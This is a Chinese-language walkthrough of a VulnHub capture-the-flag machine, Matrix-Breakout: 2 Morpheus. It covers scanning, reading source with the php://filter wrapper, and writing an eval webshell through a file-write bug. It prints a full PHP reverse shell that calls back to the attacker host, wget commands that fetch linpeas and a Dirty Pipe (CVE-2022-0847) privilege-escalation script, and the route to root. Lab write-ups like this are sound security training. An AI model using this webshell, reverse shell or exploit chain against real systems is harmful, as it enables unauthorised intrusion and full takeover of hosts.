準備:
攻擊機:虛擬機器kali、本機win10。
靶機:Matrix-Breakout: 2 Morpheus,下載地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova,下載後直接vm開啟即可。
知識點:檔案上傳、php偽協議、shell反彈、漏洞收集指令碼的使用、CVE-2022-0847提權。
一:資訊收集
1.nmap掃描
透過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 172.20.10.0/24,獲得靶機地址:172.20.10.3。
使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 172.20.10.3,顯示開放了22埠、80埠、81埠,開啟了http服務、ssh服務。
2.目錄掃描
使用gobuster進行目錄掃描,命令:gobuster dir -u http://172.20.10.3 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,發現robots.txt、graffiti.txt、graffiti.php等檔案。
二:獲取shell
1.burpsuite抓包
訪問下掃描到的檔案資訊,獲得如下資訊:
使用brupsuite抓取提交的資料包進行分析,發現其存在引數file=graffiti.txt,並且返回的資料包中顯示了graffiti.txt檔案的資訊。
那這裡就存在檔案讀取漏洞。那我們使用php偽協議讀取下graffiti.php檔案的原始碼資訊,命令:php://filter/read=convert.base64-encode/resource=graffiti.php,將獲得加密資料進行base64解碼,獲得原始碼資訊。
graffiti.php程式碼資訊
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<?php
$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['file'])) {
$file=$_POST['file'];
}
if (isset($_POST['message'])) {
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
}
// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
2.檔案上傳獲取shell
分析graffiti.php程式碼發現,當$file引數預設為graffiti.txt,但是當我們傳遞$file引數時會覆蓋掉原來的預設值,因此這裡我們可以直接寫入後門檔案,一句話後門:<?php%20eval($_POST['x']);?>,然後使用蟻劍進行連線,成功獲得shell許可權。這裡注意下使用get的時候會出問題,儘量使用POST。
3.shell反彈
在這個網站:https://www.revshells.com/,使用php生成shell反彈指令碼,然後在kali中開啟web服務:python -m http.server,將shell反彈指令碼下載到靶機:wget http://172.20.10.7:8000/backShell.php,在web中訪問該檔案即可獲得反彈shell:http://172.20.10.3/backShell.php。
backShell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.20.10.7';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
獲得shell許可權後在當前目錄下發現FLAG.txt檔案,訪問該檔案獲得flag值。
三:提權
1.漏洞資訊查詢
在shell中一番查詢也未發現有用的資訊,在home下發現兩個賬戶資訊,但是查詢和兩個賬戶有關的資訊,也未發現有啥可利用的資訊。
那就直接上指令碼吧,利用指令碼查詢下可以利用的漏洞資訊。指令碼連結:連結:https://pan.baidu.com/s/1FUd0ohk7rkl-cJR18jkQ0w,提取碼:upfn。命令:wget http://172.20.10.7:8000/linpeas.sh,然後賦予執行許可權進行執行。
執行指令碼後發現存在cve-2022-0847漏洞,這裡可以嘗試使用該漏洞進行提權,查詢下該漏洞的提權方式:https://github.com/imfiver/CVE-2022-0847。
2.CVE-2022-0847提權
下載提權指令碼後上傳到靶機,命令:wget http://172.20.10.7:8000/Dirty-Pipe.sh,賦予執行許可權後執行該指令碼成功獲得root許可權。
獲得root許可權後在/root目錄下發現FLAG.txt檔案,訪問該檔案成功獲得flag值。